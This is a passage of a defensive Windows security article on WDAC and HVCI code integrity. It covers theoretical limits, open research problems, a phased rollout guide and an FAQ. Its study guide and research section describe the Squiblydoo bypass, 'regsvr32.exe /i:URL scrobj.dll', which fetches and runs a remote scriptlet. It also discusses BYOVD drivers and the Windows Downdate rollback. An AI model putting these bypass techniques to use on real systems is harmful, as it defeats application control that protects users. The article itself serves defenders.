&lt;p&gt;Fred Cohen proved in his 1984 paper &lt;em&gt;Computer Viruses -- Theory and Experiments&lt;/em&gt; that the general problem WDAC tries to solve is undecidable. &quot;Detection of a virus is shown to be undecidable both by a-priori and runtime analysis,&quot; [@cohen-eecs588] Cohen wrote in the abstract, &quot;and without detection, containment is, in general, impossible.&quot; Cohen completed his Ph.D. at USC in 1986 [@wikipedia-fred-cohen], where Leonard Adleman (the &lt;em&gt;A&lt;/em&gt; in RSA) was on the faculty and had supervised his earlier 1983 in-class virus demonstration; the paper itself was reprinted in &lt;em&gt;Computers &amp;amp; Security&lt;/em&gt; in 1987. The result is the bedrock theoretical lower bound for every malware-detection system that has ever shipped.&lt;/p&gt;
&lt;p&gt;WDAC is not a detector; it is an &lt;em&gt;allowlist&lt;/em&gt;. That choice is not engineering taste; it is mathematical necessity. An allowlist asks a decidable question -- &lt;em&gt;is this exact bag of bytes, with this exact signature, on the trusted list?&lt;/em&gt; -- which is decidable in O(1) given a hash table. It trades Cohen-decidability for completeness loss: every binary not on the list is refused, including binaries that would have been safe. That tradeoff is the entire engineering shape of WDAC.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; WDAC is not a detector; it is an allowlist. That choice is not engineering taste; it is mathematical necessity. The bypass catalogue is not a backlog of bugs Microsoft hasn&apos;t fixed; it is the empirical residue of an undecidable problem.&lt;/p&gt;
&lt;/blockquote&gt;

Henry Gordon Rice&apos;s 1951 doctoral result at Syracuse University [@wikipedia-rices-theorem]: every non-trivial semantic property of a Turing-complete program is undecidable. &quot;Will this program ever execute arbitrary code from a network argument?&quot; is a semantic property. Rice&apos;s theorem says no static analyser can answer it for `regsvr32.exe`. This is why signed-but-vulnerable LOLBINs persist in Microsoft&apos;s bypass catalogue [@ms-bypass-catalogue] -- Microsoft cannot statically prove that `regsvr32.exe` will not host malicious scriptlets, so the only available remedy is to add it to the deny list inside the allow list.
&lt;p&gt;The W$\oplus$X ceiling is the second theoretical limit. HVCI guarantees that no kernel page is ever both writable and executable, which closes the entire class of attacks that &lt;em&gt;write&lt;/em&gt; a new payload into kernel memory and then jump to it. But a return-oriented or jump-oriented programming gadget chain composed entirely of &lt;em&gt;existing&lt;/em&gt; executable bytes never violates W$\oplus$X. The attacker stitches together short snippets ending in &lt;code&gt;RET&lt;/code&gt; instructions, all of which were already in the kernel&apos;s executable text section, and the resulting computation is Turing-complete. Kernel Data Protection [@ms-kdp-blog] closes the data-corruption variant -- attackers shifting from &lt;em&gt;modify code&lt;/em&gt; to &lt;em&gt;modify data that drives code&lt;/em&gt; -- but the control-flow attack class remains.&lt;/p&gt;
&lt;p&gt;The Driver Block List arms race is the third structural limit. Microsoft&apos;s own Learn page on the Block List [@ms-driver-blocklist] says it out loud -- the verbatim quote is in the PullQuote below. The official list is a curated working set; the LOLDrivers community catalogue [@loldrivers] tracks a four-figure entry count of vulnerable and malicious drivers, with new entries dated as recently as April 2026. The lag is structural. It is the price Microsoft pays for not bricking an entire vendor&apos;s installed base.&lt;/p&gt;

It&apos;s often necessary for us to hold back some blocks to avoid breaking existing functionality while we work with our partners who are engaging their users to update to patched versions. -- Microsoft Learn, Microsoft recommended driver block rules, 2026.
&lt;p&gt;The fourth limit is the bug-bounty calibration. Microsoft prices an L1 guest-to-host RCE in the Hyper-V hypervisor at $5,000 to $250,000 USD [@ms-hyperv-bounty] on its public bounty page. The top of that range is one calibration of how hard the hypervisor-rooted upper bound is to break. It also implies, by negative inference, the floor: any attack that does &lt;em&gt;not&lt;/em&gt; break out of an L1 guest VM is, by definition, not eligible for the top bracket -- so the same bracket is implicitly Microsoft&apos;s view of how much it values an attack that compromises the HVCI substrate from above.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Bound&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;th&gt;What it implies&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Cohen 1986 lower bound&lt;/td&gt;
&lt;td&gt;Cohen, &lt;em&gt;Computer Viruses -- Theory and Experiments&lt;/em&gt; [@cohen-eecs588]&lt;/td&gt;
&lt;td&gt;General malware detection is undecidable; allowlists are the only decidable primitive&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rice&apos;s theorem lower bound&lt;/td&gt;
&lt;td&gt;Rice 1951 [@wikipedia-rices-theorem]&lt;/td&gt;
&lt;td&gt;Static analysis cannot decide non-trivial semantic properties of LOLBINs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reachable bound&lt;/td&gt;
&lt;td&gt;WDAC + HVCI + KDP + Block List + ASR + Defender for Endpoint&lt;/td&gt;
&lt;td&gt;Decidable allowlist + curated deny list + EDR telemetry on the residual&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Residual surface&lt;/td&gt;
&lt;td&gt;ROP/JOP, signed LOLBINs, BYOVD ahead of cadence, hypervisor rollback&lt;/td&gt;
&lt;td&gt;Microsoft response: KDP, hash-pinned bypass list, VMDRC reporting [@ms-wdsi-driver], KB5042562 [@nvd-cve-2024-21302]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

A short proof-by-existence: the July 2024 Windows Downdate disclosure [@safebreach-downdate] used a downgrade attack to roll back HVCI&apos;s own runtime substrate to a vulnerable older version, exposing previously-fixed kernel bugs. The attack does not violate W$\oplus$X. It violates *temporal trust*: the assumption that the binaries enforcing the policy today are at least as trustworthy as the binaries that were enforcing it yesterday. Microsoft eventually addressed this with KB5042562 and the opt-in revocation policy [@nvd-cve-2024-21302] -- mitigations completed July 8, 2025 -- but the underlying class is still the same: the allowlist is decidable, the input to the allowlist is not.
&lt;p&gt;WDAC + HVCI is the right answer to the wrong question -- because the right question is undecidable. Knowing that, here is what is left for the field to figure out.&lt;/p&gt;
&lt;h2&gt;9. Open Problems: Where Research Lives Today&lt;/h2&gt;
&lt;p&gt;Five live research directions sit on the frontier of the runtime enforcement loop. Each is the &lt;em&gt;next&lt;/em&gt; generation of one of the residuals named in section eight.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Data-only attacks against HVCI and KDP coverage.&lt;/strong&gt; KDP closes the data-corruption gap, but only opt-in per driver [@ms-kdp-blog] -- the driver author has to call &lt;code&gt;MmProtectDriverSection&lt;/code&gt; for static KDP, or allocate from the secure pool for dynamic KDP. Most third-party drivers do not. The open research direction is default-on KDP for drivers above a certain signature level, or compiler-emitted KDP annotations that travel with the build, or VBS-side coverage of the policy data itself rather than per-driver buy-in.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BYOVD-class drivers faster than the Block List update cadence.&lt;/strong&gt; The Block List ships quarterly, with monthly Windows updates as the delivery mechanism [@ms-driver-blocklist]; the LOLDrivers community catalogue [@loldrivers] operates as the empirical proxy for the gap. The open direction is faster telemetry-to-block pipelines, ideally moving driver decisions out of an explicit hash list and into a per-vendor reputation model that updates within hours of a public disclosure. The Microsoft Vulnerable and Malicious Driver Reporting Center [@ms-wdsi-driver] is the intake side of that pipeline; the public-cadence side is still slower than the LOLDrivers community.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Signed-but-vulnerable user-mode binaries.&lt;/strong&gt; The forty-entry bypass catalogue [@ms-bypass-catalogue] keeps growing as researchers find new Microsoft-signed binaries with arbitrary-code-execution surface. The open direction is a behavioural runtime profile attached to FilePublisher identity, not just the static signature -- so that, for example, &quot;regsvr32 with &lt;code&gt;/i:URL&lt;/code&gt; arguments&quot; can be denied even when &quot;regsvr32 without arguments&quot; is allowed. Some of this lives in Defender&apos;s ASR rules [@ms-asr-rules] today; none of it lives inside WDAC&apos;s static schema.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;HVCI rollback (CVE-2024-21302 Windows Downdate).&lt;/strong&gt; Alon Leviev&apos;s Black Hat USA 2024 disclosure [@safebreach-downdate] used the Windows Update flow itself to downgrade HVCI&apos;s substrate to an older, vulnerable version -- &quot;I successfully downgraded Credential Guard&apos;s Isolated User Mode Process, Secure Kernel, and Hyper-V&apos;s hypervisor to expose past privilege escalation vulnerabilities.&quot; Mitigation was completed July 8, 2025 with KB5042562 [@nvd-cve-2024-21302]. But the Windows Update takeover that &lt;em&gt;delivered&lt;/em&gt; the downgrade remains unpatched [@safebreach-downdate-update] because Microsoft does not consider admin-to-kernel a security boundary; &quot;Gaining kernel code execution as an Administrator is not considered as crossing a security boundary.&quot; The open direction is mandatory &lt;code&gt;dbx&lt;/code&gt; hygiene plus UEFI-locked monotonic version counters for VBS binaries.&lt;/p&gt;

I was able to make a fully patched Windows machine susceptible to thousands of past vulnerabilities, turning fixed vulnerabilities into zero-days and making the term &apos;fully patched&apos; meaningless on any Windows machine in the world. -- Alon Leviev, SafeBreach Labs, Black Hat USA 2024.
&lt;p&gt;&lt;strong&gt;The post-CrowdStrike user-mode-security pivot.&lt;/strong&gt; The July 2024 CrowdStrike Falcon outage motivated Microsoft to push EDR vendors out of the kernel and toward VBS Enclaves; Microsoft&apos;s September 2024 Windows endpoint security summit blog post [@ms-resiliency-2024] is the canonical statement of intent. HVCI remains the kernel-side enforcement layer; the open question is what runtime enforcement looks like when EDR products are themselves trustlets. The cross-link to a sibling article on VBS Trustlets [@paragmali-com-secure-kernel] is the right place to follow that thread, but the practical impact on WDAC + HVCI is concrete: kernel-mode driver count is set to drop, the surface HVCI has to validate shrinks, and the cost-benefit of HVCI&apos;s silicon dependency improves for legacy fleets.The LOLDrivers catalogue [@loldrivers] tracks new BYOVD entries on a daily cadence; recent April 2026 entries include &lt;code&gt;iOCdrv.sys&lt;/code&gt; and &lt;code&gt;Windows_CPU_Temperature_Component.sys&lt;/code&gt;, both classified as &quot;Vulnerable driver.&quot; The Microsoft-shipped Block List trails by months, and that trailing time is the structural feature of the curation discipline -- you cannot ship a Block List update that bricks an entire vendor&apos;s installed base on a Wednesday.&lt;/p&gt;
&lt;p&gt;These are the questions a 2026 Microsoft Senior PM, an MSRC engineer, and a SafeBreach researcher would all answer differently. Here, by contrast, is what is &lt;em&gt;not&lt;/em&gt; contested -- the operational discipline a 2026 administrator should follow today.&lt;/p&gt;
&lt;h2&gt;10. Practical Guide: A Phased Rollout for a 2026 Estate&lt;/h2&gt;
&lt;p&gt;If your estate has neither HVCI nor WDAC on today, here is the four-phase rollout that gets you to the loop section five described, without bricking your fleet.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Phase 0 (week 1) -- silicon verification.&lt;/strong&gt; Run &lt;code&gt;Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard&lt;/code&gt; against a representative sample. Confirm that &lt;code&gt;AvailableSecurityProperties&lt;/code&gt; includes &lt;code&gt;1&lt;/code&gt; (hypervisor support), &lt;code&gt;2&lt;/code&gt; (Secure Boot), and &lt;code&gt;7&lt;/code&gt; (MBEC/GMET reporting in Windows 10 1803 and Windows 11 21H2 or later [@ms-memory-integrity]). Confirm that &lt;code&gt;VirtualizationBasedSecurityStatus = 2&lt;/code&gt; on the same sample. Endpoints that fail Phase 0 either need silicon refresh or a documented &quot;HVCI-incapable&quot; exception with an EDR-only compensating control.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Older silicon falls back to Restricted User Mode emulation, which Microsoft documents as having &quot;a bigger impact on performance&quot; than the silicon-native path. Endpoints that report neither MBEC nor GMET will show measurable per-process startup overhead with HVCI on. Phase 0 is the planning data you need to scope the fleet before you light the feature up.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Phase 1 (weeks 2-4) -- HVCI in audit mode + Driver Block List in enforce.&lt;/strong&gt; Enable HVCI on a wave-1 group; Microsoft Learn documents the Windows Security app toggle and the Group Policy / Intune CSP. Deploy &lt;code&gt;RecommendedDriverBlock_Enforced.xml&lt;/code&gt; [@ms-driver-blocklist] standalone -- the policy is designed to stack alongside any other WDAC policy, including no policy. Triage incompatible drivers through the &lt;code&gt;Microsoft-Windows-DeviceGuard/Operational&lt;/code&gt; channel and remediate vendor-by-vendor. Most enterprises lose one to three drivers per thousand endpoints in this phase; that is the design tax of moving the kernel CI check out of the kernel.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Phase 2 (weeks 5-10) -- WDAC base policy in audit mode.&lt;/strong&gt; Author a base policy from &lt;code&gt;DefaultWindows_Audit.xml&lt;/code&gt; [@ms-example-policies] using &lt;code&gt;New-CIPolicy -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash -UserPEs -MultiplePolicyFormat&lt;/code&gt;. Deploy in audit. Iterate &lt;code&gt;New-CIPolicy -Audit&lt;/code&gt; against accumulated event-3076 traffic, mint supplemental policies, redeploy. Iterate until the audit-event volume on your representative subset is near-zero. Most production rollouts skip this phase; most production rollouts also have to roll back. Don&apos;t be that rollout.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Phase 3 (weeks 11-16) -- sign and enforce.&lt;/strong&gt; Sign the base policy (&lt;code&gt;Add-SignerRule -Update&lt;/code&gt;, &lt;code&gt;Set-RuleOption -Option 6 -Delete&lt;/code&gt;, &lt;code&gt;ConvertFrom-CIPolicy&lt;/code&gt;, &lt;code&gt;signtool.exe&lt;/code&gt; [@ms-rule-options]). Validate the signed policy on a wave-1 subset &lt;em&gt;before&lt;/em&gt; fleet rollout. Then deploy in enforced mode. Enable the Defender ASR rule &lt;code&gt;56a863a9-875e-4185-98a7-b882c64b5ce5&lt;/code&gt; [@ms-vmdrc-blog] at the Defender for Endpoint policy layer. Integrate the &lt;code&gt;CodeIntegrity-Operational&lt;/code&gt; channel into your SIEM [@ms-asr-rules] via Defender for Endpoint advanced hunting -- the &lt;code&gt;DeviceEvents&lt;/code&gt; table is your join point.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; A signed policy is one of the few WDAC operations that can render a Windows machine un-bootable when it goes wrong. Always validate a signed-policy update on a wave-1 subset before fleet rollout. Always confirm that the new signer is in the &lt;code&gt;&amp;lt;UpdatePolicySigner&amp;gt;&lt;/code&gt; element of the &lt;em&gt;currently active&lt;/em&gt; policy &lt;em&gt;before&lt;/em&gt; you ship the new policy. Always increment &lt;code&gt;VersionEx&lt;/code&gt; monotonically. None of these are nice-to-haves.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Phase 4 (ongoing) -- continuous tuning.&lt;/strong&gt; Quarterly: refresh the Driver Block List policy [@ms-driver-blocklist]; review ISG verdicts (if rule option 14 is on); re-evaluate the LOLBIN bypass list [@ms-bypass-catalogue] against your signed-by-Microsoft inventory; check the LOLDrivers community catalogue [@loldrivers] for new vulnerable drivers your environment ships.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Audit volume goes near-zero before enforce, not &quot;low&quot; before enforce. The 3076 events you see in audit are the 3077 events you will see in enforce, and every 3077 event in production is a paged-out application your users cannot run. Iterate the supplemental-policy authoring loop until the audit volume genuinely flatlines, then enforce.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The &quot;do not do&quot; list is short and cheap. Do not deploy a signed policy without first validating the unsigned variant -- the &lt;code&gt;VersionEx&lt;/code&gt; boot failure is the single most common production casualty. Do not rely on AppLocker as your primary control on Windows 10 or 11; Microsoft&apos;s own AppLocker overview [@ms-applocker-overview] disqualifies the feature as a security boundary. Do not turn HVCI off to &quot;fix&quot; driver compatibility -- patch the driver, replace the vendor, or document an exception with a sunset date.&lt;/p&gt;

```powershell
Get-CimInstance -ClassName Win32_DeviceGuard `
  -Namespace root\Microsoft\Windows\DeviceGuard |
  Select-Object AvailableSecurityProperties,
                VirtualizationBasedSecurityStatus,
                SecurityServicesRunning,
                CodeIntegrityPolicyEnforcementStatus
```
Pipe the output into your SIEM, group by silicon family, and you have your Phase 0 capacity model.
&lt;p&gt;After Phase 3, the loop section five described is running on every endpoint in your estate. After Phase 4, you are participating in the loop&apos;s continuous evolution. The remaining question is whether your understanding of the loop survives contact with the misconceptions every administrator brings to it.&lt;/p&gt;
&lt;h2&gt;11. FAQ: The Misconceptions This Article Closes&lt;/h2&gt;
&lt;p&gt;Eight misconceptions surface in nearly every WDAC + HVCI conversation. Here are the corrections, in priority order.&lt;/p&gt;

No. They share the AppLocker Application Identity service [@ms-applocker-overview] for some surfaces (Managed Installer, the ISG plumbing), but the two are different products under different servicing regimes. WDAC is serviced under MSRC criteria as a security feature [@ms-acfb-overview], meaning Microsoft treats a bypass as a vulnerability. Microsoft documents AppLocker [@ms-applocker-overview] as a defense-in-depth feature, not a defensible security boundary -- the verbatim quote anchors the §3 Definition and PullQuote above. MSRC will not service AppLocker bypasses.

No. NX (the No-Execute bit on x86-64) is a permission bit the CPU&apos;s MMU consults on every page access -- but the page-table entries that drive it live in memory the kernel maintains and the kernel can write. If an attacker has SYSTEM in ring 0, they can change the page-table entries the MMU consults. HVCI is a per-VTL SLAT permission state [@ms-kdp-blog] held in the hypervisor&apos;s page tables, validated by `SkCi.dll` in VTL1, which a SYSTEM-level attacker in VTL0 cannot reach. NX&apos;s enforcement substrate is editable by the attacker; HVCI&apos;s is not.

No, not at the running enforcement layer. HVCI is enforced by the hypervisor; a SYSTEM-level kernel attacker can disable the *registry key* that determines whether HVCI loads on next boot, but cannot turn off the running enforcement on the current boot. Even the registry-key disable is detectable -- the `CodeIntegrity-Operational` channel [@ms-driver-blocklist] records the change, and a configured EDR will pick it up. The 2024 Windows Downdate disclosure is the most recent qualifier on this answer: a sufficiently sophisticated attacker can roll back the binaries that *implement* HVCI, but the July 2025 KB5042562 mitigation [@nvd-cve-2024-21302] closed that vector for the documented CVE.

No. Smart App Control [@ms-sac-support] is the same `CI.dll` engine consuming an example WDAC policy (`SmartAppControl.xml` / `SignedReputable.xml` [@ms-example-policies]) tuned for consumer trust verdicts. It uses the same cloud reputation primitive as the Intelligent Security Graph [@ms-isg], the same Authenticode validation, and the same per-PE-load evaluation cadence. The differences are: it is opt-in at consumer install time, it has no per-app exception model, and it auto-disables for users whose behavioural profile suggests they are developers.

No. Microsoft holds back blocks for compatibility [@ms-driver-blocklist] -- the canonical Microsoft Learn position is that breaking an entire vendor&apos;s installed base is unacceptable, so the list ships as a curated working set on a quarterly cadence with monthly Windows updates as the delivery vehicle. The verbatim &quot;hold back some blocks&quot; quote anchors the §8 PullQuote above. The LOLDrivers community catalogue [@loldrivers] tracks a four-figure entry count of vulnerable and malicious drivers, with new entries dated as recently as April 2026; the lag between LOLDrivers and the shipped Block List is days to months.

No. The Microsoft Learn memory-integrity page [@ms-memory-integrity] reconciles all three names; the verbatim quote anchors the §4b *HVCI / Memory Integrity* Definition above. Three names; one feature; one `SkCi.dll`; one architectural inversion of Blue Pill.

Only if you remove the Script Enforcement opt-out (rule option 11, `Disabled:Script Enforcement` [@ms-rule-options]). The default is to enforce script-host coverage for the binaries listed in the bypass catalogue [@ms-bypass-catalogue] -- which means a WDAC-enforced endpoint runs PowerShell in Constrained Language Mode by default for non-allowlisted scripts. PowerShell scripts that are signed by a trusted signer continue to run in Full Language Mode.

Mostly. But some policy options change behaviour even in audit mode -- for example, `Disabled:Runtime FilePath Rule Protection` [@ms-rule-options] removes the runtime user-writeability check on path rules whether or not enforcement is on, and `Required:WHQL` (rule option 2) is a hard requirement that does not have an audit-only counterpart. Test thoroughly. Audit mode is necessary discipline; it is not a permission to ignore policy semantics.
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; A bag of bytes is not its identity. Where it sits is not its identity. Even who signed it is not its identity. Identity is a runtime decision made by code that itself cannot be tampered with -- and the only way to make that code tamper-resistant is to host it underneath the operating system the attacker has compromised.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That sentence is what every generation since SRP 2001 has been re-learning at a different layer. WDAC + HVCI is the layer Microsoft is willing to service like a security boundary. The next layer is whatever attack class research publishes in 2027.&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;wdac-hvci-code-integrity-at-every-layer-in-windows&quot; keyTerms={[
  { term: &quot;WDAC&quot;, definition: &quot;Windows Defender Application Control / App Control for Business -- the configurable code integrity engine that evaluates a SiPolicy XML at every PE load via CI.dll.&quot; },
  { term: &quot;HVCI&quot;, definition: &quot;Hypervisor-protected Code Integrity -- the hypervisor-rooted check that runs SkCi.dll in VTL1 and enforces W$\oplus$X for kernel pages via SLAT entries.&quot; },
  { term: &quot;BYOVD&quot;, definition: &quot;Bring Your Own Vulnerable Driver -- the attack class in which a privileged operator loads a signed-but-vulnerable driver to gain ring 0 code execution.&quot; },
  { term: &quot;VTL0 / VTL1&quot;, definition: &quot;Virtual Trust Levels 0 and 1 -- the hypervisor-enforced privilege separation that puts the Secure Kernel and SkCi.dll out of reach of a SYSTEM-level VTL0 attacker.&quot; },
  { term: &quot;Squiblydoo&quot;, definition: &quot;Casey Smith&apos;s April 2016 AppLocker bypass via regsvr32.exe /i:URL scrobj.dll, the canonical demonstration that publisher-only identity is necessary but not sufficient.&quot; },
  { term: &quot;SiPolicy XML&quot;, definition: &quot;The schema for a WDAC policy: Rules, Signers, FileRules, SigningScenarios, HvciOptions, UpdatePolicySigners, SupplementalPolicySigners, CiSigners.&quot; },
  { term: &quot;Driver Block List&quot;, definition: &quot;Microsoft&apos;s recommended deny list of vulnerable and malicious kernel drivers, shipped as RecommendedDriverBlock_Enforced.xml and on by default with HVCI on Windows 11 22H2+.&quot; },
  { term: &quot;ASR rule 56a863a9-875e-4185-98a7-b882c64b5ce5&quot;, definition: &quot;The Defender for Endpoint &apos;Block abuse of exploited vulnerable signed drivers&apos; rule that pairs with the Block List as the EDR-side telemetry partner.&quot; },
  { term: &quot;Cohen 1984/1986&quot;, definition: &quot;Fred Cohen&apos;s 1984 paper Computer Viruses -- Theory and Experiments (included in his 1986 USC PhD dissertation under Leonard Adleman): general malware detection is undecidable -- the lower-bound theoretical justification for why WDAC must be an allowlist, not a detector.&quot; },
  { term: &quot;Rice&apos;s theorem&quot;, definition: &quot;Henry Gordon Rice&apos;s 1951 result that every non-trivial semantic property of a Turing-complete program is undecidable -- the lower-bound justification for why signed-but-vulnerable LOLBINs cannot be statically eliminated.&quot; }
]} questions={[
  { q: &quot;What two engines refused the dbutil_2_3.sys load that opens this article, and where do they sit?&quot;, a: &quot;CI.dll in VTL0 builds the verdict from the Driver Block List (a standalone WDAC policy); SkCi.dll in VTL1 ratifies it; the hypervisor enforces the W-&amp;gt;X SLAT refusal that emits CodeIntegrity-Operational event 3033.&quot; },
  { q: &quot;Why is a publisher rule for O=Microsoft Corporation insufficient against Squiblydoo?&quot;, a: &quot;Because the publisher rule scopes trust to the binary&apos;s signer, not the binary&apos;s behaviour. regsvr32.exe is signed by Microsoft and exposes a /i:URL flag that fetches and executes a remote scriptlet; the publisher rule allows the binary, the scriptlet runs in-process, and AppLocker logs a successful launch.&quot; },
  { q: &quot;What is the architectural inversion HVCI performs against Joanna Rutkowska&apos;s 2006 Blue Pill argument?&quot;, a: &quot;Blue Pill argued the hypervisor was the attacker&apos;s substrate to fear. HVCI moves the kernel CI check into VTL1, hosted by the hypervisor Microsoft owns -- so the hypervisor becomes the defender&apos;s substrate, and a SYSTEM-level VTL0 kernel attacker cannot reach VTL1.&quot; },
  { q: &quot;Why does the Driver Block List always lag behind the LOLDrivers community catalogue?&quot;, a: &quot;Microsoft holds back blocks for compatibility, in its own words -- shipping a Block List update that bricks an entire vendor&apos;s installed base is unacceptable, so the list ships as a curated working set on a quarterly cadence with monthly Windows updates as the delivery vehicle.&quot; },
  { q: &quot;What is the audit-to-enforce discipline, and why is skipping it the most common cause of WDAC rollout failure?&quot;, a: &quot;Deploy in audit; harvest CodeIntegrity-Operational event 3076; mint supplemental policies with New-CIPolicy -Audit; merge and redeploy; iterate until audit volume is near-zero; then Set-RuleOption -Option 3 -Delete to switch to enforce. Skipping the iteration is what produces production casualties: every 3076 event you see in audit is a 3077 enforce-block in production, which is a paged-out application your users cannot run.&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>windows-security</category><category>wdac</category><category>hvci</category><category>app-control</category><category>kernel</category><category>byovd</category><category>application-control</category><category>memory-integrity</category><author>noreply@paragmali.com (Parag Mali)</author></item></channel></rss>